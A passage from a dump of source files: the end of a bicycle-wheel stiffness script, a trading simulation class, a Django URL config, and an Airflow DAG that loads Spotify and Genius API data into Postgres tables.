[]\ngeom.append(WheelGeometry(wheel_file='wheel_36_x1.txt'))\ngeom.append(WheelGeometry(wheel_file='wheel_36_x2.txt'))\ngeom.append(WheelGeometry(wheel_file='wheel_36_x3.txt'))\ngeom.append(WheelGeometry(wheel_file='wheel_36_x4.txt'))\ngeom.append(WheelGeometry(wheel_file='wheel_36_crowsfoot.txt'))\n\n\n# Rim section and material properties\nr_sec = RimSection(area=82.0e-6, # cross-sectional area\n I11=5620.0e-12, # area moment of inertia (twist)\n I22=1187.0e-12, # area moment of inertia (wobble)\n I33=1124.0e-12, # area moment of inertia (squish)\n young_mod=69.0e9, # Young's modulus - aluminum\n shear_mod=26.0e9) # shear modulus - aluminum\n\n# spoke section and material properties\ns_sec = SpokeSection(2.0e-3, # spoke diameter\n 210e9) # Young's modulus - steel\n\n\nstiff_windup = []\n\nfor g in geom:\n\n fem = BicycleWheelFEM(g, r_sec, s_sec)\n\n # Rigid body to constrain hub nodes\n r_hub = RigidBody('hub', [0, 0, 0], fem.get_hub_nodes())\n r_rim = RigidBody('rim', [0, 0, 0], fem.get_rim_nodes())\n fem.add_rigid_body(r_hub)\n fem.add_rigid_body(r_rim)\n\n fem.add_constraint(r_rim.node_id, range(6)) # fix rim\n fem.add_constraint(r_hub.node_id, [2, 3, 4]) # fix hub z, roll, and yaw\n\n fem.add_constraint(r_hub.node_id, 5, np.pi/180) # rotate by 1 degree\n\n soln = fem.solve()\n\n i_rxn = 9 # index of reaction torque on rim\n stiff_windup.append(soln.nodal_rxn[i_rxn])\n\nprint(stiff_windup)\n","sub_path":"example_stiffness.py","file_name":"example_stiffness.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"315010030","text":"import util.datetime_util as datetime_util\nimport portfolio\n\n# corresponds to NY time 9:30\nk_open_time = 630\n\n# corresponds to NY time 16:00\nk_close_time = 1300\n\nclass Simulation():\n \"\"\" Intra-day trade simulation. \"\"\"\n def __init__(self, name):\n # Name of this simulation\n self.name_ = name\n self.start_date_ = 20080416\n \n # end_date is included during simulation\n self.end_date_ = 20180420\n self.portfolio_ = portfolio.PortfolioManager()\n\n def set_start_date(self, start_date):\n self.start_date_ = start_date\n \n def set_end_date(self, end_date):\n self.end_date_ = end_date\n \n def deposit_fund(self, sum_money):\n self.portfolio_.deposit_money(sum_money)\n\n def set_trade_strategy(self, trade_strategy):\n self.trade_strategy_ = trade_strategy\n\n def set_data_manager(self, data_manager):\n self.data_manager_ = data_manager\n\n def __update_portfolio(self, time_int_val):\n symbol_timeslot_map = dict()\n for symbol in self.portfolio_.get_current_hold_symbol_list():\n if not self.data_manager_.is_symbol_available(symbol):\n continue\n result, one_slot_data = self.data_manager_.get_symbol_minute_data(symbol, time_int_val)\n if result == 2:\n continue\n symbol_timeslot_map[symbol] = one_slot_data\n self.portfolio_.update_balance(symbol_timeslot_map)\n\n def run(self):\n cur_day = self.start_date_\n \n self.transactions_ = []\n \n self.date_time_list_ = []\n self.balances_ = []\n\n while cur_day <= self.end_date_:\n self.trade_strategy_.update_date(cur_day, self.data_manager_)\n self.data_manager_.clear_symbol_index()\n cur_time = k_open_time\n while cur_time <= k_close_time:\n # run_minute_trade_strategy should look at historical price before cur_time, and use the open price at cur_time to trade\n # Should return all the transactions occured\n one_minute_transactions = self.trade_strategy_.run_minute_trade_strategy(self.data_manager_, cur_time, self.portfolio_)\n \n # self.portfolio_ should be updated inside this function\n self.__update_portfolio(cur_time)\n \n # record all the transactions\n for transaction in one_minute_transactions:\n self.transactions_.append(transaction)\n\n # The following lines are just for display for final visualization\n # normalized_time = datetime_util.convert_to_normalized_time(cur_day, cur_time, k_open_time, k_close_time)\n\n one_date_time = datetime_util.int_to_datetime(cur_day, cur_time)\n self.date_time_list_.append(one_date_time)\n self.balances_.append(self.portfolio_.get_balance())\n \n cur_time = datetime_util.next_minute(cur_time)\n\n cur_day = self.data_manager_.next_record_day(cur_day)\n if cur_day == -1:\n break\n\n def get_simulation_run_result(self):\n return self.transactions_, self.date_time_list_, self.balances_\n\n\n","sub_path":"sim_environment/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"390971129","text":"from django.conf.urls import url\nfrom django.contrib import admin\nfrom django.contrib.auth import views as auth_views\nfrom . import views\n\n\napp_name = 'blog'\nurlpatterns = [\n url(r'^login/$', auth_views.login, name='login'),\n url(r'^logout/$', auth_views.logout, name='logout'),\n url(r'^users/$', views.users_list, name='users_list'),\n url(r'^users/(?P[0-9]+)/$', views.user_records, name='user_records'),\n url(r'^(?P[0-9]+)/$', views.show_post, name='show_post'),\n url(r'^(?P[0-9]+)/update/$', views.edit_post, name='edit_post'),\n url(r'^create/$', views.create_post, name='create_post'),\n url(r'^admin/', admin.site.urls),\n]","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"58268528","text":"from airflow import DAG\nfrom airflow.models import BaseOperator\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.hooks.S3_hook import S3Hook\nfrom airflow.models import Variable\nfrom airflow.hooks.postgres_hook import PostgresHook\n\nfrom datetime import datetime\nfrom datetime import timedelta\nimport logging\n\nimport pandas as pd\n\nimport spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials # To authenticate\nimport lyricsgenius\n\nlog = logging.getLogger(__name__)\n\n# =============================================================================\n# 1. Set up the main configurations of the dag\n# =============================================================================\n\n\ndefault_args = {\n 'start_date': datetime(2021, 3, 10),\n 'owner': 'Airflow',\n 'filestore_base': '/tmp/airflowtemp/',\n 'bucket_name': 'ucl-msin0166-2021-spotify-project',\n 'prefix': 'test_folder',\n 'db_name': Variable.get(\"spotify_db_name\", deserialize_json=True)['db_name'],\n 'aws_conn_id': \"spotify_aws_default\",\n 'postgres_conn_id': 'spotify_postgres_conn_id',\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 0,\n 'retry_delay': timedelta(minutes=5)\n}\n\ndag = DAG('spotify',\n description='spotify',\n schedule_interval='@weekly',\n catchup=False,\n default_args=default_args,\n max_active_runs=1)\n\n# =============================================================================\n# 2. Define different functions\n# =============================================================================\ndef create_rest_tables_in_db(**kwargs):\n\t\"\"\"\n\tCreate rest tables in postgress database\n\t\"\"\"\n\t#Get the postgress credentials from the airflow connection, establish connection \n\t#and initiate cursor\n\tpg_hook = PostgresHook(postgres_conn_id=kwargs['postgres_conn_id'], schema=kwargs['db_name'])\n\tconn = pg_hook.get_conn()\n\tcursor = conn.cursor()\n\tlog.info('Initialised connection')\n\n #Text for query to create tables\n #Drop each table before creating, as we want data from previous runs in this \n #case to be erased\n #associate the tables with references to other tables\n #set primary keys\n\tquery = \"\"\" \n CREATE SCHEMA IF NOT EXISTS spotify;\n\n\t\tDROP TABLE IF EXISTS spotify.artists;\n\t\tCREATE TABLE IF NOT EXISTS spotify.artists (\n\t\t artist_id varchar(256) primary key,\n\t\t artist_name varchar(256),\n\t\t followers varchar(256),\n\t\t popularity varchar(256)\n\t\t);\n\n\t\tDROP TABLE IF EXISTS spotify.albums;\n\t\tCREATE TABLE IF NOT EXISTS spotify.albums (\n\t\t album_id varchar(256) primary key,\n\t\t artist_id varchar(256) references spotify.artists(artist_id),\n\t\t album_group varchar(256),\n\t\t album_type varchar(256),\n\t\t album_name varchar(256)\n\t\t);\n\n\t\tDROP TABLE IF EXISTS spotify.albums_images_links;\n\t\tCREATE TABLE IF NOT EXISTS spotify.albums_images_links (\n\t\t album_id varchar(256) primary key references spotify.albums(album_id),\n\t\t image_number int,\n\t\t height int,\n\t\t width int,\n\t\t url varchar(256)\n\t\t);\n\n\t\tDROP TABLE IF EXISTS spotify.tracks;\n\t\tCREATE TABLE IF NOT EXISTS spotify.tracks (\n\t\t track_id varchar(256) primary key ,\n\t\t album_id varchar(256) references spotify.albums(album_id),\n\t\t disc_number int,\n\t\t duration_ms numeric,\n\t\t explicit boolean,\n\t\t is_local boolean,\n\t\t track_name varchar(256),\n\t\t preview_url varchar(256),\n\t\t track_number int,\n\t\t track_type varchar(256)\n\t\t);\n\n\t\tDROP TABLE IF EXISTS spotify.audio_features;\n\t\tCREATE TABLE IF NOT EXISTS spotify.audio_features (\n\t\t track_id varchar(256) primary key references spotify.tracks(track_id),\n\t\t danceability numeric,\n\t\t energy numeric,\n\t\t key int,\n\t\t loudness numeric,\n\t\t mode int,\n\t\t speechiness numeric,\n\t\t acousticness numeric,\n\t\t intrumentalness numeric,\n\t\t liveness numeric,\n\t\t valence numeric,\n\t\t tempo numeric,\n\t\t register_type varchar(256),\n\t\t duration_ms numeric,\n\t\t time_signature int\n\t\t);\n\n\t\tDROP TABLE IF EXISTS spotify.lyrics;\n\t\tCREATE TABLE IF NOT EXISTS spotify.lyrics (\n\t\t artist_name varchar(256),\n\t\t track_name varchar(256),\n\t\t track_id varchar(256) references spotify.tracks(track_id),\n\t\t lyrics varchar(10485760)\n\t\t);\n \"\"\"\n\n #Execute the query and commit it to the database\n\tcursor.execute(query)\n\tconn.commit()\n\tlog.info(\"Created Schema and Tables\")\n\ndef insert_rows_artists(**kwargs):\n\t#Connect to amazon s3 bucket with the credentials in airflow connections\n\ts3 = S3Hook(kwargs['aws_conn_id'])\n\tlog.info(\"Established connection to S3 bucket\")\n\n #Get the bucket name that a csv containing the \n #names of the artists resides in\n\tbucket_name = kwargs['bucket_name']\n\n #Get from the variables set in airflow the path to the bucket\n #and get the 'key' argument of the dictionary\n\tkey = Variable.get(\"spotify_get_csv_artists\", deserialize_json=True)\n\tkey = key['key']\n\n #Set the whole path to the folder of the csv\n\tpaths = s3.list_keys(bucket_name=bucket_name, prefix=\"artist_names/\")\n\tlog.info(\"{}\".format(paths))\n\n\tlog.info(\"Reading CSV File artist names\")\n #Get the file and split it into a list by '\\r\\n' and select the 2nd to last argument\n\tartist_names = s3.read_key(key, bucket_name)\n\tartist_names = artist_names.split('\\r\\n')[1:-1]\n\n\tlog.info(\"Read artists names\")\n\tlog.info(\"{}\".format(artist_names))\n\n #Get the credentials for the api to be used for scraping\n\tclient_id = Variable.get(\"spotify_client_id\", deserialize_json=True)['client_id_sp']\n\tlog.info(\"Got client_id\")\n\tclient_secret = Variable.get(\"spotify_client_secret\", deserialize_json=True)['key']\n\tlog.info(\"Got client secret\")\n\n #Initiate the credentials with the function provided by spotify and create the connection\n\tclient_credentials_manager = SpotifyClientCredentials(client_id, client_secret)\n\tsp = spotipy.client.Spotify(client_credentials_manager=client_credentials_manager)\n\n\tlog.info(\"Established connection to sp\")\n\n\tdef get_artists(query):\n\t\t'''\n \tfunction that extracts all artists from spotify with an exact name\"query\"\n \tinput: query (artist name)\n \toutput: list containing 4 elements about the artist\n \t'''\n\n #initiate a list to put the data extracted\n\t\tartists_list=[]\n \n \t#Search for the artist and save into variable \"ar\" the data related to artists\n\t\tresults=sp.search(q=query,type='artist') # json format \n\t\tar=results['artists'] \n \t\n \t#for the data only in items\n\t\titems=ar['items']\n\t\tfor it in items:\n \t#if we have an exact match\n\t\t\tif it['name'] == query:\n \t#create a variable for every kind of data needed\n\t\t\t\tartist_id = it['id']\n\t\t\t\tartist_name = it['name']\n\t\t\t\tfollowers = it['followers']['total']\n\t\t\t\tpopularity = it['popularity']\n #put them all inm a list\n\t\t\t\tartist = [artist_id,artist_name,followers,popularity]\n #append to the list containing the data for all exact matches\n\t\t\t\tartists_list.append(artist)\n \n #return the list\n\t\treturn artists_list\n\n\tlog.info(\"Running queries in sp API\")\n \n\t#a list for all the artists extracted from spotify\n\tartists = []\n \n #for each artist name\n\tfor query in artist_names:\n \t#get the data of the artist\n\t\tresult_artists = get_artists(query)\n\n #add them so we have a list of lists\n\t\tartists = artists + result_artists\n \n\tlog.info('Ran queries in sp API')\n\tlog.info('{}'.format(artists))\n\n #initiate a connection to postgress, create a connection and initiate a cursor\n\tpg_hook = PostgresHook(postgres_conn_id=kwargs['postgres_conn_id'], schema=kwargs['db_name'])\n\tconn = pg_hook.get_conn()\n\tcursor = conn.cursor()\n\n #this query will insert into the table the arguments in every list by order\n\ts = \"\"\"INSERT INTO spotify.artists (artist_id, artist_name, followers, popularity) VALUES (%s, %s, %s, %s)\"\"\"\n\tlog.info('Updating rows in artists table')\n\n #execute for all (many) the lists within the list 'artists'\n\tcursor.executemany(s, artists)\n\tconn.commit()\n\tlog.info('Updated rows in artists table')\n\n\t#close the connection to postgres\n\tconn.close()\n\ndef insert_rows_albums(**kwargs):\n\t\"\"\"\n\tInsert data into the albums table\n\n\tGets data from the artists table created before, \n\tqueries the spotify API and gets album data for each artist\n\tInserts them all in the database\n\t\"\"\"\n\n\t#Get the spotify credentials for airflow\n\tclient_id = Variable.get(\"spotify_client_id\", deserialize_json=True)['client_id_sp']\n\tlog.info(\"Got client_id\")\n\tclient_secret = Variable.get(\"spotify_client_secret\", deserialize_json=True)['key']\n\tlog.info(\"Got client secret\")\n\n #Initiate the credentials with the function provided by spotify and create the connection\n\tclient_credentials_manager = SpotifyClientCredentials(client_id, client_secret)\n\tsp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\n\tlog.info(\"Established connection to sp\")\n\n #initiate a connection to postgress, create a connection and initiate a cursor\n\tpg_hook = PostgresHook(postgres_conn_id=kwargs['postgres_conn_id'], schema=kwargs['db_name'])\n\tconn = pg_hook.get_conn()\n\tcursor = conn.cursor()\n\n # select artist_id from artists table\n\n #Get artist ids from the artists table\n\tq = \"SELECT artist_id FROM spotify.artists;\"\n\tcursor.execute(q)\n\tconn.commit()\n\tartist_ids = cursor.fetchall()\n\n # get albums\n\tdef get_albums(artist):\n\t\t\"\"\"\n\t\tExtracts from the API all the albums relating to an artist ID\n\n\t\tinput: str of artist id\n\t\toutput: list with album details\n \t\"\"\"\n #create an empty list for albums to be put in\n\t\tartist_albums=[]\n #search and get albums with the artist id\n\t\tresults=sp.artist_albums(artist)\n \n #contains a list of all the artist albums\n\t\titems=results['items']\n\n #Iterate across the albums in items \n\t\tfor it in items:\n \t#save each value\n\t\t\talbum_id=it['id']\n\t\t\talbum_group=it['album_group']\n\t\t\talbum_type=it['album_type']\n\t\t\talbum_name=it['name']\n\t\t\trelease_date=it['release_date']\n\t\t\ttotal_tracks=it['total_tracks']\n\t\t\tartist_id=artist\n\n \t\t#Place them in a list\n\t\t\talbum=[album_id,artist_id,album_group,album_type,album_name,release_date,total_tracks]\n #Append to the rest of the albums of the artist\n\t\t\tartist_albums.append(album)\n #return the list with all the albums with the artist id\n\t\treturn artist_albums\n\n\tlog.info(\"Running queries in sp API\")\n #create an empty list to put all the albums in\n\talbums_list=[]\n #turn the album ids we got from the database to a list of that can be \n #iterated with mapping every element\n\tmap_artist_ids = map(list, artist_ids)\n\n #for every artist id\n\tfor artist in map_artist_ids:\n \t#get all the albums\n \t#for each artist we have the id and a coma (that is returned by sql)\n \t#select just the artist id (1st element)\n\t\tartist_albums=get_albums(artist[0])\n\n #add them to a list (list of lists)\n\t\talbums_list=albums_list+artist_albums\n\tlog.info('Ran queries in sp API')\n \n \t#turn the results in a dataframe\n\talbums_list = pd.DataFrame(albums_list)\n\n #if an album does not have a day of month, place that it was issued at the first of the month\n #if it doesn't have month and date, place it as the first day of the first month of the year\n #to avoid formating errors with sql\n\talbums_list.iloc[:, -2] = albums_list.iloc[:, -2].apply(lambda x: x + '-01-01' if len(x) == 4 else(x + '-01' if len(x) == 7 else x))\n\n #this query will insert into the table the arguments in every list by order\n\ts = \"\"\"INSERT INTO spotify.albums(album_id,artist_id,album_group,album_type,album_name,release_date,total_tracks) VALUES (%s, %s, %s, %s, %s, %s, %s)\"\"\"\n\tlog.info('Updating rows in albums table')\n\n #execute for all (many) values of each column of the dataframe 'albums list'\n\tcursor.executemany(s, list(albums_list.values))\n\tconn.commit()\n\tlog.info('Updated rows in albums table')\n\n #close the connection to postgres\n\tconn.close()\n\ndef insert_rows_tracks(**kwargs):\n\t\"\"\"\n\tInsert rows into tracks table with data about each song\n\n\tQuery the albums table and gets the album id of each album\n\tQuery the spotify API for each album\n\tInsert the data of the songs of each album in the database \n\tAvoids inserting all the data of the songs as above together to avoid RAM limitations\n\t\"\"\"\n\n\t#Get the spotify credentials for airflow\n\tclient_id = Variable.get(\"spotify_client_id\", deserialize_json=True)['client_id_sp']\n\tlog.info(\"Got client_id\")\n\tclient_secret = Variable.get(\"spotify_client_secret\", deserialize_json=True)['key']\n\tlog.info(\"Got client secret\")\n\n #Initiate the credentials with the function provided by spotify and create the connection\n\tclient_credentials_manager = SpotifyClientCredentials(client_id, client_secret)\n\tsp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\n\tlog.info(\"Established connection to sp\")\n\n #initiate a connection to postgress, create a connection and initiate a cursor\n\tpg_hook = PostgresHook(postgres_conn_id=kwargs['postgres_conn_id'], schema=kwargs['db_name'])\n\tconn = pg_hook.get_conn()\n\tcursor = conn.cursor()\n\tlog.info(\"Got connection to postgres\")\n\n # select album from albums table\n\tq = \"SELECT album_id FROM spotify.albums;\"\n\tcursor.execute(q)\n\tconn.commit()\n\talbum_ids = cursor.fetchall()\n\tlog.info(\"Got album_ids\")\n\n # get tracks\n\tdef get_tracks(album):\n\t\t\"\"\"\n\t\ta function that extracts from spotify all tracks of a given album\n\n\t\tinput: album id\n\t\toutput: list of containing lists with data of each song\n\t\t\"\"\"\n #initiate a list to put the data for each album\n\t\talbum_tracks=[]\n\n #search the spotify API for tracks of each album\n\t\tresults=sp.album_tracks(album)\n\n #list of all the album tracks\n\t\titems=results['items']#contains a list of all the album tracks\n \n #iterate acrross album tracks\n\t\tfor it in items:\n \t#save each attribute in a variable\n\t\t\ttrack_id=it['id']\n\t\t\tdisc_number=it['disc_number']\n\t\t\tduration_ms=it['duration_ms']\n\t\t\texplicit=it['explicit']\n\t\t\tis_local=it['is_local']\n\t\t\ttrack_name=it['name']\n\t\t\tpreview_url=it['preview_url']\n\t\t\ttrack_number=it['track_number']\n\t\t\ttrack_type=it['type']\n\t\t\talbum_id=album\n\n #consolidate the variables in a list\n\t\t\ttrack=[track_id,album_id,disc_number,duration_ms,explicit,is_local,track_name,preview_url,track_number,track_type]\n\n #append the each track to a lsit containing all the album tracks\n\t\t\talbum_tracks.append(track)\n\n #return in list of lists the album tracks\n\t\treturn album_tracks\n\n\n #turn the album ids we got from the database to a list of that can be \n #iterated with mapping every element\n\talbum_ids = map(list, album_ids)\n\n #this query will insert into the table the arguments in every list by order\n\ts = \"\"\"INSERT INTO spotify.tracks(track_id,album_id,disc_number,duration_ms,explicit,is_local,track_name,preview_url,track_number,track_type) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\n\n\tlog.info(\"Getting album tracks\")\n\tlog.info(\"Getting album tracks and inserting to table\")\n #for each album id\n\tfor album in album_ids:\n \t#create an empty list\n\t\ttracks_list=[]\n\n #get all the tracks for each album\n #for each album we have the id and a coma (that is returned by sql)\n \t#select just the artist id (1st element), not the comma\n\t\talbum_tracks=get_tracks(album[0])\n\n #add the tracks in the list above\n\t\ttracks_list=tracks_list+album_tracks\n\n #Insert them now to the table\n #we don't want many tracks at once in RAM\n\t\tcursor.executemany(s, list(tracks_list))\n\t\tconn.commit()\n\n #close the connection\n\tconn.close()\n\ndef insert_rows_audio_features(**kwargs):\n\t\"\"\"\t\n\tInsert into the audio features table data about the musical characteristics about each song\n\n\tQueries the track table for track ids\n\tQueries the spotify API for the characteristics of each song\n\tInsert for each song the data into the database to avoid ram limitations\n\n\t\"\"\"\n\t#Get the spotify credentials for airflow\t\n\tclient_id = Variable.get(\"spotify_client_id\", deserialize_json=True)['client_id_sp']\n\tlog.info(\"Got client_id\")\n\tclient_secret = Variable.get(\"spotify_client_secret\", deserialize_json=True)['key']\n\tlog.info(\"Got client secret\")\n\n #Initiate the credentials with the function provided by spotify and create the connection\n\tclient_credentials_manager = SpotifyClientCredentials(client_id, client_secret)\n\tsp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\n\tlog.info(\"Established connection to sp\")\n\n #initiate a connection to postgress, create a connection and initiate a cursor\n\tpg_hook = PostgresHook(postgres_conn_id=kwargs['postgres_conn_id'], schema=kwargs['db_name'])\n\tconn = pg_hook.get_conn()\n\tcursor = conn.cursor()\n\n #get all the track ids from the tracks table\n\tq = \"SELECT track_id FROM spotify.tracks;\"\n\tcursor.execute(q)\n\tconn.commit()\n\ttrack_ids = cursor.fetchall()\n\tlog.info(\"Got track ids\")\n\n # get audio features\n\tdef get_audio_features(track):\n\t\t\"\"\"\n\t\tGets audio features for given song\n\n\t\tInput: track id\n\t\tOutput: list of audio features\n\t\t\"\"\"\n #query the spotify API for the audio features of each song\n\t\tresults=sp.audio_features([track])\n #remove spaces\n\t\tre=results.pop()\n\n #save each feature in a variable\n\t\taudio_features_id=re['id']\n\t\tdanceability=re['danceability']\n\t\tenergy=re['energy']\n\t\tkey=re['key'] \n\t\tloudness=re['loudness']\n\t\tmode=re['mode']\n\t\tspeechiness=re['speechiness']\n\t\tacousticness=re['acousticness']\n\t\tinstrumentalness=re['instrumentalness']\n\t\tliveness=re['liveness']\n\t\tvalence=re['valence']\n\t\ttempo=re['tempo']\n\t\tregister_type=re['type']\n\t\tduration_ms=re['duration_ms']\n\t\ttime_signature=re['time_signature']\n \n #place them in a list\n\t\tfeatures=[audio_features_id,danceability,energy,key,loudness,mode,speechiness,acousticness,instrumentalness,\n\t\t\t\t\tliveness,valence,tempo,register_type,duration_ms,time_signature]\n \n #return the list\n\t\treturn features\n\n\n #turn the track ids we got from the database to a list of that can be \n #iterated by mapping every element\n\tmap_track_ids = map(list, track_ids)\n\n #this query will insert into the table the arguments in every list by order \n\ts = \"\"\"INSERT INTO spotify.audio_features(track_id,danceability,energy,key,loudness,mode,speechiness,acousticness,intrumentalness,liveness,valence,tempo,register_type,duration_ms,time_signature) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\n\n\tlog.info(\"Getting track features\")\n #for every track ID\n\tfor track in map_track_ids:\n #if it finds the audio features of a song return them in a variable\n\t\ttry:\n \t#track contains the track id and a comma that\n \t#we get when querying postgress. here select just the id\n \t#and use it in the function above\n\t\t\taudio_features=get_audio_features(track[0])\n\t\texcept:\n \t#else continue to the next song\n\t\t\tcontinue\n\n\t\t#Insert them now to the table\n #we don't want many tracks at once in RAM\n\t\tcursor.executemany(s, list(audio_features))\n\t\tconn.commit() \n\n\tlog.info(\"Ran query\")\n\n #close the connection\n\tconn.close()\n\ndef insert_rows_image_links(**kwargs):\n\t\"\"\"\t\n\tInsert into the images links table data about the image of an album\n\n\tQueries the albums table for album ids\n\tQueries the spotify API for the photo of each album\n\tInsert for each album the data into the database\n\t\"\"\"\t\n\n\t#Get the spotify credentials for airflow\t\n\tclient_id = Variable.get(\"spotify_client_id\", deserialize_json=True)['client_id_sp']\n\tlog.info(\"Got client_id\")\n\tclient_secret = Variable.get(\"spotify_client_secret\", deserialize_json=True)['key']\n\tlog.info(\"Got client secret\")\n\n #Initiate the credentials with the function provided by spotify and create the connection\n\tclient_credentials_manager = SpotifyClientCredentials(client_id, client_secret)\n\tsp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\n\tlog.info(\"Established connection to sp\")\n\n #initiate a connection to postgress, create a connection and initiate a cursor\n\tpg_hook = PostgresHook(postgres_conn_id=kwargs['postgres_conn_id'], schema=kwargs['db_name'])\n\tconn = pg_hook.get_conn()\n\tcursor = conn.cursor()\n\n #Get album id for each album\n\tq = \"SELECT album_id FROM spotify.albums;\"\n\tcursor.execute(q)\n\tconn.commit()\n\talbum_ids = cursor.fetchall()\n\tlog.info(\"Got album_ids\")\n\n # get image links\n\tdef get_images_links(album):\n\t\t\"\"\"\n\t\tGet data for images related to each album\n\n\t\tInput: album id\n\t\tOutput: list of lists with the data about the images of the album\n\t\t\"\"\"\n #initiate a list for the images\n\t\timages_links=[]\n\n #Seach the spotify API\n\t\tresults=sp.album(album)\n #Get the data about images\n\t\timages=results['images']\n \n #count each image of each album\n\t\timage_number=1\n\n #for every image\n\t\tfor im in images:\n \t#save attributes in variables\n\t\t\theight=im['height']\n\t\t\turl=im['url']\n\t\t\twidth=im['width']\n\t\t\talbum_id=album\n\n #create a list of all the variables\n\t\t\timage=[album_id,image_number,height,width,url]\n\n #append them to all the images of the album\n\t\t\timages_links.append(image)\n #add one to the number of the image\n\t\t\timage_number=image_number+1\n\n #return list of lists of the images of the album\n\t\treturn images_links\n\n #turn the album ids we got from the database to a list of that can be \n #iterated with mapping every element\n\talbum_ids = map(list, album_ids)\n\n #this query will insert into the table the arguments in every list by order \n\ts = \"\"\"INSERT INTO spotify.albums_images_links(album_id,image_number,height,width,url) VALUES (%s, %s, %s, %s, %s)\"\"\"\n\n\tlog.info(\"Getting image linkes\")\n\tfor album_id in album_ids:\n #for each album we have the id and a coma (that is returned by sql)\n \t#select just the artist id (1st element), not the comma and use the function above\n\t\timages_links=get_images_links(album_id[0])\n\n #insert the data in the database\n\t\tcursor.executemany(s, images_links)\n\t\tconn.commit()\n\n\tlog.info(\"Run query\")\n\n #close the connection\n\tconn.close()\n\ndef insert_rows_lyrics(**kwargs):\n\t\"\"\"\t\n\tInsert into the lyrics table data about the lyrics of a song\n\n\tQueries the tracks table for track ids\n\tQueries the genius API for the lyrics of each song\n\tInsert for each song the data into the database\n\t\"\"\"\t\n\n #initiate a connection to postgress, create a connection and initiate a cursor\t\n\tpg_hook = PostgresHook(postgres_conn_id=kwargs['postgres_conn_id'], schema=kwargs['db_name'])\n\tconn = pg_hook.get_conn()\n\tcursor = conn.cursor()\n\n\t\"\"\"\n\tIn order to get the lyrics we need the artist name and the name of the song\n\n\tWith this query we get the artist ids and the albums of each artist\n\tWe also get the tracks of each album along with their album ids\n\n\tThen join the results and end up with the artist name, track name and track ID\n\t(We don't need the track ID to do the query, but we need it to connect the data\n\tto the other tables since this is not part of the spotify environment. Since we trust\n\tSpotify track ids after checks we consider them as the id for the lyrics table)\n\t\"\"\"\n\tq = \"\"\"\n with artist_album_id as (\n select \n a.artist_name,\n b.album_id\n from spotify.artists a\n left join spotify.albums b \n on a.artist_id = b.artist_id\n ), track_album_id as (\n select\n a.track_name,\n a.track_id,\n b.album_id\n from spotify.tracks a \n left join spotify.albums b \n on a.album_id = b.album_id \n ), artist_track as (\n select\n a.artist_name,\n b.track_name,\n b.track_id\n from artist_album_id a \n inner join track_album_id b \n on a.album_id = b.album_id\n )\n\n select \n a.artist_name, \n a.track_name,\n a.track_id\n from artist_track a\"\"\"\n\n #Execute the query\n\tcursor.execute(q)\n\tconn.commit()\n\tartist_tracks = cursor.fetchall()\n\tlog.info(\"Got artist name, track name, track id\")\n\n\tclass lyrics:\n\t\t\"\"\"\n\t\tClass that gets an artist name and a song name and create an object for it\n\n\t\tIf identifier type is not set to artist_song, we get all the lyrics for the given artist\n\n\t\tInputs: \n\t\tartist = string with artist name\n\t\tsong = string with song name \n\t\tidentifier type = if set to artist returns all the lyrics of a given artist, if set to\n\t\t\t\t\t\t\t artist_song, returns the lyrics of a particular song\n\n\t\tOutput:\n\t\tString containing Lyrics (for one of many song depending on identifier)\n\t\t\"\"\"\n\t\tdef __init__(self, artist, song=None, identifier_type = \"artist\"):\n \t#initiate credentials we get from airflow\n\t\t\tself.geniusCreds = Variable.get(\"spotify_genius_cred\", deserialize_json=True)['genius_cred']\n\n #initiate artist name and song name\n\t\t\tself.artist_name = artist\n\t\t\tself.song = song\n\n #set connection to the genius API\n\t\t\tself.genius = lyricsgenius.Genius(self.geniusCreds)\n\n #initiate identifier type\n\t\t\tself.identifier_type = identifier_type\n \n\t\tdef __iter__(self):\n\t\t\treturn self\n \n\n\t\tdef get_artist_all(self, max_songs=3):\n\t\t\t\"\"\"\n\t\t\tReturns all the lyrics of a given artist (first 3), \n\t\t\tsorted by the song title\n\t\t\t\t\n\t\t\tInputs: max_songs=set for number of songs to get\n\t\t\tOutput: string with the lyrics of all the songs of an artist and \n\t\t\t\t\t\tthe artist name. before each piece of lyrics is the title\n\t\t\t\t\t\tand then the lyrics\n\n\t\t\t\"\"\"\n \t#query the genius API for the lyrics of songs of an artist\n\t\t\tartist_data = self.genius.search_artist(self.artist_name, \n\t\t\t\t\t\t\t\t\t\t\t\t\tmax_songs=max_songs, \n\t\t\t\t\t\t\t\t\t\t\t\t\tsort=\"title\", \n\t\t\t\t\t\t\t\t\t\t\t\t\tinclude_features=True)\n\n\t\t\treturn(artist_data)\n\n\t\tdef get_lyrics(self):\n\t\t\t\"\"\"\n\t\t\tGet the all the lyrics of a given artist or a certain song\n\t\t\t\"\"\"\n #if identifier song, return only the lyrics for the song\n\t\t\tif self.identifier_type == \"artist_song\":\n \t#search the genius API for the lyrics of the song\n\t\t\t\tsong = self.genius.search_song(self.song, self.artist_name)\n\t\t\t\treturn(song.lyrics)\n\t\t\telif self.identifier_type == \"artist\":\n \t#set an object\n\t\t\t\tartist_songs = self.get_artist_all()\n #get the songs\n\t\t\t\tsongs = artist_songs.songs\n #create a dictionary to insert the title and lyrics\n\t\t\t\tlyrics = {}\n #for every song\n\t\t\t\tfor i in range(0, len(songs)):\n \t#set the title as key and the lyrics as value\n\t\t\t\t\tlyrics[songs[i].title] = songs[i].lyrics\n \n\t\t\t\treturn(lyrics)\n\n\tlog.info(\"Getting lyrics\")\n\n #this query will insert into the table the arguments in 